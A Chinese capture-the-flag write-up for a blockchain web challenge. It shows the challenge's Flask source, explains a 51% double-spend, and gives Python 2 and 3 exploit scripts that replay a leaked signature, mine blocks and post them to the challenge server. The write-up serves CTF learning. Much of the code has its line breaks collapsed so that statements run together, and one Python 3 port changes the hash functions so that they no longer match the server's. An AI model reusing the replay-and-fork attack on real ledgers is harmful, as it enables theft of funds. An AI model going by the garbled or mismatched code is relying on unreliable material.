CTF之Web_python_block

这种题对于我来说只能看大佬的wp（但是这一题是wp都看不懂，只能表达一下我的理解了）

（最后有简单方法，前面一种没看懂没关系）

下面这一部分是首页的有用部分

访问/source_code,得到源码：

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request
from pycallgraph import PyCallGraph  
from pycallgraph import Config  
from pycallgraph.output import GraphvizOutput app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = ''def FLAG():return 'Here is your flag: DDCTF{******************}'def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def has_attrs(d, attrs):if type(d) != type({}): raise Exception("Input should be a dict/JSON")for attr in attrs:if attr not in d:raise Exception("{} should be presented in the input".format(attr))EMPTY_HASH = '0'*64def addr_to_pubkey(address):return rsa.PublicKey(int(address, 16), 65537)def pubkey_to_address(pubkey):assert pubkey.e == 65537hexed = hex(pubkey.n)if hexed.endswith('L'): hexed = hexed[:-1]if hexed.startswith('0x'): hexed = hexed[2:]return hexeddef gen_addr_key_pair():pubkey, privkey = rsa.newkeys(384)return pubkey_to_address(pubkey), privkeybank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()def sign_input_utxo(input_utxo_id, privkey):return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}tx['hash'] = hash_tx(tx)return txdef hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def create_block(prev_block_hash, nonce_str, transactions):if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')nonce = str(nonce_str)if len(nonce) > 128: raise Exception('the nonce is too long')block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)return blockdef find_blockchain_tail():return max(session['blocks'].values(), key=lambda block: block['height'])def calculate_utxo(blockchain_tail):curr_block = blockchain_tailblockchain = [curr_block]while curr_block['hash'] != session['genesis_block_hash']:curr_block = session['blocks'][curr_block['prev']]blockchain.append(curr_block)blockchain = blockchain[::-1]utxos = {}for block in blockchain:for tx in block['transactions']:for input_utxo_id in tx['input']:del utxos[input_utxo_id]for utxo in tx['output']:utxos[utxo['id']] = utxoreturn utxosdef calculate_balance(utxos):balance = {bank_address: 0, hacker_address: 0, shop_address: 0}for utxo in utxos.values():if utxo['addr'] not in balance:balance[utxo['addr']] = 0balance[utxo['addr']] += utxo['amount']return balancedef verify_utxo_signature(address, utxo_id, signature):try:return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))except:return Falsedef append_block(block, difficulty=int('f'*64, 16)):has_attrs(block, ['prev', 'nonce', 'transactions'])if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])if block['prev'] not in session['blocks']: raise Exception("unknown parent block")tail = session['blocks'][block['prev']]utxos = calculate_utxo(tail)if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')new_utxo_ids = set()for tx in block['transactions']:has_attrs(tx, ['input', 'output', 'signature'])for utxo in tx['output']:has_attrs(utxo, ['amount', 'addr', 'id'])if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))new_utxo_ids.add(utxo['id'])if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")try:addr_to_pubkey(utxo['addr'])except:raise Exception("invalid type of address({})".format(utxo['addr']))utxo['hash'] = hash_utxo(utxo)tot_output = sum([utxo['amount'] for utxo in tx['output']])if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")tot_input = 0tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]for utxo_id, signature in zip(tx['input'], tx['signature']):if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))utxo = utxos[utxo_id]if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")if not verify_utxo_signature(utxo['addr'], utxo_id, signature):raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))tot_input += utxo['amount']del utxos[utxo_id]if tot_output > tot_input:raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))tx['hash'] = hash_tx(tx)block = create_block(block['prev'], block['nonce'], block['transactions'])block_hash = int(block['hash'], 16)if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')block['height'] = tail['height']+1if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')session['blocks'][block['hash']] = blocksession.modified = Truedef init():if 'blocks' not in session:session['blocks'] = {}session['your_diamonds'] = 0# First, the bank issued some DDCoins ...total_currency_issued = create_output_utxo(bank_address, 1000000)genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothinggenesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])session['genesis_block_hash'] = genesis_block['hash']genesis_block['height'] = 0session['blocks'][genesis_block['hash']] = genesis_block# Then, the bank was hacked by the hacker ...handout = create_output_utxo(hacker_address, 999999)reserved = create_output_utxo(bank_address, 1)transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])append_block(second_block)# Can you buy 2 diamonds using all DDCoins?third_block = create_block(second_block['hash'], 'a empty block', [])append_block(third_block)def get_balance_of_all():init()tail = find_blockchain_tail()utxos = calculate_utxo(tail)return calculate_balance(utxos), utxos, tail@app.route(url_prefix+'/')
def homepage():announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. 'balance, utxos, _ = get_balance_of_all()genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_addressbalance_info = 'Balance of all addresses: ' + json.dumps(balance)utxo_info = 'All utxos: ' + json.dumps(utxos)blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])view_source_code_link = "<a href='source_code'>View source code</a>"return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))@app.route(url_prefix+'/flag')
def getFlag():init()if session['your_diamonds'] >= 2: return FLAG()return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_addressdef find_enough_utxos(utxos, addr_from, amount):collected = []for utxo in utxos.values():if utxo['addr'] == addr_from:amount -= utxo['amount']collected.append(utxo['id'])if amount <= 0: return collected, -amountraise Exception('no enough DDCoins in ' + addr_from)def transfer(utxos, addr_from, addr_to, amount, privkey):input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)outputs = [create_output_utxo(addr_to, amount)]if the_change != 0:outputs.append(create_output_utxo(addr_from, the_change))return create_tx(input_utxo_ids, outputs, privkey)@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):balance, utxos, tail = get_balance_of_all()if balance[bank_address] == 0: return 'The bank has no money now.'try:address = str(address)addr_to_pubkey(address) # to check if it is a valid addresstransferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])append_block(new_block)return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + addressexcept Exception, e:return 'ERROR: ' + str(e)DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():init()try:block = json.loads(request.data)append_block(block, DIFFICULTY)msg = 'transaction finished.'except Exception, e:return str(e)balance, utxos, tail = get_balance_of_all()if balance[shop_address] == 1000000:# when 1000000 DDCoins are received, the shop will give you a diamondsession['your_diamonds'] += 1# and immediately the shop will store the money somewhere safe.transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])append_block(new_block)msg += ' You receive a diamond.'return msg# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():if 'blocks' in session: del session['blocks']if 'genesis_block_hash' in session: del session['genesis_block_hash']return 'reset.'@app.route(url_prefix+'/source_code')
def show_source_code():source = open('serve.py', 'r')html = ''for line in source:html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')source.close()return htmlif __name__ == '__main__':app.run(debug=False, host='0.0.0.0')

下面是大佬对题的解释（看不懂）

51% 双花攻击

    这道题整的解法是 51% （双花）攻击。
    请于正常的区块链区分开来，题目环境中只有你一个玩家，并没有人与你竞争（挖矿）。
    商店交易采用0确认，而不是现实中的6确认。
    当出现分叉时，区块链的规则认最长的分链为主链，并舍去原有的链。
    区块链允许添加空块
    51%（双花）攻击可以达到的目的就是使攻击前的交易作废，这里的前不一定是前一个，而是很大程度上取决于你的算力的。让之前的交易作废有什么好处呢？这里我们就要考虑0确认和6确认的区别了。

先看看6确认：

当产生一笔交易时，区块链的P2P网络会广播这笔交易，这笔交易会被一个挖矿节点收到，并验证，如果这个挖矿节点挖到区块（生成的hash满足条件）后，并且这笔交易的手续费足够吸引这个节点去打包进区块，那这笔交易就会被打包进区块。因此就得到了一个确认，这个矿工也拿走了相应的手续费。这个挖矿节点打包后，会把区块广播给其他节点。其他节点验证并广播这个区块。如果这个区块得到更多的挖矿节点的验证确认，那就得到了更多的确认。这样这笔交易就被记录到了比特币区块链，并成为了比特币账本的一部分。如果得到6个确认后，我们就认为它永远不可变了。

0确认就同样的道理了，那就是不需要别人确认，就如我们生活中的一手交钱一手交货，不同的是生活中我们处于中心化社会，银行会帮我们确认。而6确认就是需要经过6个人(区块被挖出)交易才确定。

可以看到对0确认和6确认进行51%(双花)攻击的难度是不一样的，6确认需要的算力明显要大，因为他要多比其他人生成6个区块。（应该可以这样理解吧，可能我还需要继续学习，如上，如有不对可以联系我(jay80#protonmail.com)改正，在这也谢谢各位大佬了。）好在，题目并不是采用6确认。

然后再看看这里的51% 攻击，其实这里说的51%是指算力，也就是这种攻击需要攻击者具备全网51%的算力，因为这样才有机会使自己生成（挖出）区块的速度超过其他人，然后按区块链的规则：当出现分叉时，区块链的规则认最长的分链为主链，并舍去原有的链，就达到了撤销原来链上已经存在的交易，拿回该交易使用了的钱的目的，这里我的另一个理解就是可以使交易回滚，从而追回被盗的钱。

原理上明白了以后，我们就开始从代码上进行实际攻击。首先我们先看一下一个标准的区块是咋样的，下面其实就是黑客盗取银行的区块：

就是第一张图里的东西，自己整理一下方便看就行了

{"nonce": "HAHA, I AM THE BANK NOW!","prev": "13bfff8cdedf1d81f4103ca8349fc26eff17b446bcb3cdbee845d101f20f11b9","hash": "fe69dbe81d51b49101ea8b6be4a4ef118992d2a94dd7b16016e27e40b0da17f0", "transactions": [{"input": ["ad8b4d4a-138b-4eb0-8fb3-f963646370e3"],"signature"：                        ["809bc81884ea06f16cbccc1f0ce39f0dbbdcd0912541d50ba394b5496888a1c437d59f31b7014b2aace6a5188025bc3f"], "hash": "c1d88d88f49d69fddb81397b5f99652508c87647e7ee843a287f3e9184e78c6a", "output": [{"amount": 999999,"hash": "dbb6c731b3d5d92432683cb2913a5bee17846b5d512534f105429ebf0ecb94e7", "addr": "8ab9eb40808cbff9e8b0144319032f2ed052b13053f7c43d258f107aaaf3e5b75aedbad2ad5e4154d581ebb2e426e0d5","id": "d41f5c34-ab18-4c7e-b416-c6460483d816"}, {"amount": 1,"hash": "529dc4771c28f768ae873a384ce7824aed48e02344cec0da67a56d78cf9b014f",  "addr":"d1936e6b7dbc07f838cf255022ad83b877c1a91a3d87e6df479295ae5a0cb2e80106a2ad15b93da51a73d34a6ff0806b"， 
"id": "a737ab47-fde4-47f3-a058-5b6acbfc3c7c"}]],"height": 1}
}

按照流程，我们应该构造一个转钱给商店的区块。但通过代码，我们可以发现转账的时候是需要私钥签名的，也就是这个signature段。

这些信息我们可以通过黑客留下的signature直接绕过，并且上一步的input也可以从黑客的区块中得到。所以我们就可以直接构造转账给商店的区块了，并且通过51%攻击使黑客转走的钱追回。

后续访问传参需要访问 "http://61.147.171.105:63520/signature/create_transaction"需要用到signature（需要解码后使用，但是太麻烦了所以我没用这个）

下面直接放出大佬完整的payload脚本，需要特别提醒的是要注意每个区块的prev。

# -*- coding: utf-8 -*-
import json, uuid, hashlib
import random,stringEMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)def hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x) + hash(y))# 对 output 进行hash
def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = str(hash_utxo(utxo))return utxo# 对 transactions 进行hash
def hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])#对整个块 hash
def hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'],reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])prev = "5bc355ab21fd7e07040e2882f36ff8fba90809cbaa27b80bc1439a6e85beec25"
input = ["e95c5a89-3f0e-4bd6-a4bc-8ff006fa2a42"]
signature = ['8cf74260504449ce72c537b587b534c7f93e459d97898faea8a3a68622bbe01f2117fba4cfd3cff69f12e209d74cf87c']address = 'b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735'
output = [create_output_utxo(address,1000000)]transactions = {"input":input,"signature":signature,"output":output}# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)
# 爆破（挖矿，找到满足条件的hash）
def fuzz(block, size=20):CHARS = string.letters + string.digitswhile True:rnds = ''.join(random.choice(CHARS) for _ in range(size))block['nonce'] = rndsblock_hash = str(hash_block(block))# 转换成 16 进制tmp_hash = int(block_hash, 16)# POW 验证工作if tmp_hash < DIFFICULTY:block['hash'] = block_hashreturn block# 创建符合条件的块
block = {"prev":prev,"transactions":[transactions]
}
ok_block = fuzz(block)
print(json.dumps(ok_block))
# 创建一个空块
empty_tmp = {"prev" : ok_block['hash'],"transactions" : []
}
empty_block1 = fuzz(empty_tmp)
print(json.dumps(empty_block1))empty_tmp = {"prev" : empty_block1['hash'],"transactions" : []
}
empty_block2 = fuzz(empty_tmp)
print(json.dumps(empty_block2))empty_tmp = {"prev" : empty_block2['hash'],"transactions" : []
}
empty_block3 = fuzz(empty_tmp)
print(json.dumps(empty_block3))empty_tmp = {"prev" : empty_block3['hash'],"transactions" : []
}
empty_block4 = fuzz(empty_tmp)
print(json.dumps(empty_block4))

运行后会得到5个区块，然后依次post就可以了

（搞不懂为什么大佬都喜欢用python2，害得我安装了一天的python2，最后却因为python2的很多模块已经停止维护了，需要自己修改调试，所以就失败了。然后我就将源码修改成了python3）

注（这个代码的adderss：是http：//url/flag下的账号）

下面是我的py3代码

import json
import uuid
import hashlib
import random
import string
import functoolsEMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)def hash(x):return hashlib.sha256(x).hexdigest()def hash_reducer(x, y):return hash(x.encode() + y.encode())def hash_utxo(utxo):return functools.reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = str(hash_utxo(utxo))return utxodef hash_tx(tx):return functools.reduce(hash_reducer, [functools.reduce(hash_reducer, tx['input'], EMPTY_HASH),functools.reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def hash_block(block):return functools.reduce(hash_reducer, [block['prev'], block['nonce'],functools.reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])prev = "13bfff8cdedf1d81f4103ca8349fc26eff17b446bcb3cdbee845d101f20f11b9"
input_id = ["ad8b4d4a-138b-4eb0-8fb3-f963646370e3"]
signature = ["809bc81884ea06f16cbccc1f0ce39f0dbbdcd0912541d50ba394b5496888a1c437d59f31b7014b2aace6a5188025bc3f"]address = '8dde0388d3ec4b146adc3e9eebcfa2f87d1b22207bdac08f9386cb6f962361704d446e622d9f56070340facb04fc8b15'
output = [create_output_utxo(address, 1000000)]transactions = {"input": input_id,"signature": signature,"output": output
}hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)def fuzz(block, size=20):CHARS = string.ascii_letters + string.digitswhile True:rnds = ''.join(random.choice(CHARS) for _ in range(size))block['nonce'] = rndsblock_hash = str(hash_block(block))tmp_hash = int(block_hash, 16)if tmp_hash < DIFFICULTY:block['hash'] = block_hashreturn blockblock = {"prev": prev,"transactions": [transactions]
}
ok_block = fuzz(block)
print(json.dumps(ok_block))empty_tmp = {"prev": ok_block['hash'],"transactions": []
}
empty_block1 = fuzz(empty_tmp)
print(json.dumps(empty_block1))empty_tmp = {"prev": empty_block1['hash'],"transactions": []
}
empty_block2 = fuzz(empty_tmp)
print(json.dumps(empty_block2))empty_tmp = {"prev": empty_block2['hash'],"transactions": []
}
empty_block3 = fuzz(empty_tmp)
print(json.dumps(empty_block3))empty_tmp = {"prev": empty_block3['hash'],"transactions": []
}
empty_block4 = fuzz(empty_tmp)
print(json.dumps(empty_block4))

运行后如下

会生成五个区块，分别以post方式传入，再访问url/flag可以得到flag

我们还可以使用大佬py2脚本，直接获得flag（后面有我的python3代码）

# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os,requests,re# 一堆变量常量url_root="http://220.249.52.133:58044"
url_create="http://220.249.52.133:58044/create_transaction"
url_flag="http://220.249.52.133:58044/flag"s=requests.Session()
ddcoin = s.get(url=url_root)prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64bank_addr="8aaa41fad552f9a2231bba5242c58df16da1840979e37f0a20d5912ca829d240df4a992bd6518123a1c7034844448465"
hacke_addr="a4e4ec9827a53e8cf88d5eda99a3b965c8ae8eb334c5863fb874f554ce80ebf814f510fe3aef1c5a6dfb64c3bd7de1ab"
shop_addr="9095cbe784e2c97c5076a9806171056356b8ee5d26ca9343af25e2a036a2301a82581c0044eee5c15cf3de9a2655e85b"# 源码中的APIdef hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo}  # 修改了签名tx['hash'] = hash_tx(tx)return txdef create_block(prev_block_hash, nonce_str, transactions):if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')nonce = str(nonce_str)if len(nonce) > 128: raise Exception('the nonce is too long')block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)return block# 构造的方法def check_hash(prev,tx):for i in range(10000000):current_block=create_block(prev,str(i),tx)block_hash = int(current_block['hash'], 16)if block_hash<DIFFICULTY:print json.dumps(current_block)return current_blockdef create_feak_one():utxo_first=create_output_utxo(shop_addr,1000000)tx_first=create_tx([bank_utox_id],[utxo_first])return check_hash(prev_one,[tx_first])def create_empty_block(prev):return check_hash(prev,[])# 攻击过程a=create_feak_one()
print s.post(url=url_create,data=str(json.dumps(a))).content
b=create_empty_block(a['hash'])
print s.post(url=url_create,data=str(json.dumps(b))).content
c=create_empty_block(b['hash'])
print s.post(url=url_create,data=str(json.dumps(c))).content
d=create_empty_block(c['hash'])
print s.post(url=url_create,data=str(json.dumps(d))).content
e=create_empty_block(d['hash'])
print s.post(url=url_create,data=str(json.dumps(e))).content
print s.get(url=url_flag).content

标注的地方记得替换直接的url和addr

import hashlib
import json
import rsa
import uuid
import os
import requests
import re
from functools import reduce
#记得修改
url_root = "http://61.147.171.105:63520/"
url_create = "http://61.147.171.105:63520/create_transaction"
url_flag = "http://61.147.171.105:63520/flag"s = requests.Session()
ddcoin = s.get(url=url_root)prev_one = re.search(r"hash of genesis block: ([0-9a-f]{64})", ddcoin.content.decode(), flags=0).group(1)
bank_utox_id = re.search(r"\"input\": \[\"([0-9a-f\-]{36})", ddcoin.content.decode(), flags=0).group(1)
bank_signature = re.search(r"\"signature\": \[\"([0-9a-f]{96})", ddcoin.content.decode(), flags=0).group(1)DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64
#这里也要
bank_addr = "b244757baa7cd4071deba24da53ddfb2e5d763563fa57c5653ccfa6e7545e3369cbaf9a1c41d9951b1f1a39b78e0528d"
hacke_addr = "8a537f7f1a39857e567640f6cc530dc64732062dec8fa5d93643be53496ae08d9738afed66925018bcd4f8980841f61d"
shop_addr = "8dde0388d3ec4b146adc3e9eebcfa2f87d1b22207bdac08f9386cb6f962361704d446e622d9f56070340facb04fc8b15"# 源码中的APIdef hash(x):return hashlib.sha256(hashlib.md5(x.encode()).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo}  # 修改了签名tx['hash'] = hash_tx(tx)return txdef create_block(prev_block_hash, nonce_str, transactions):if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')nonce = str(nonce_str)if len(nonce) > 128: raise Exception('the nonce is too long')block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)return block# 构造的方法def check_hash(prev, tx):for i in range(10000000):current_block = create_block(prev, str(i), tx)block_hash = int(current_block['hash'], 16)if block_hash < DIFFICULTY:print(json.dumps(current_block))return current_blockdef create_feak_one():utxo_first = create_output_utxo(shop_addr, 1000000)tx_first = create_tx([bank_utox_id], [utxo_first])return check_hash(prev_one, [tx_first])def create_empty_block(prev):return check_hash(prev, [])# 攻击过程a = create_feak_one()
print(s.post(url=url_create, data=str(json.dumps(a))).content.decode())
b = create_empty_block(a['hash'])
print(s.post(url=url_create, data=str(json.dumps(b))).content.decode())
c = create_empty_block(b['hash'])
print(s.post(url=url_create, data=str(json.dumps(c))).content.decode())
d = create_empty_block(c['hash'])
print(s.post(url=url_create, data=str(json.dumps(d))).content.decode())
e = create_empty_block(d['hash'])
print(s.post(url=url_create, data=str(json.dumps(e))).content.decode())
print(s.get(url=url_flag).content.decode())

运行结果如下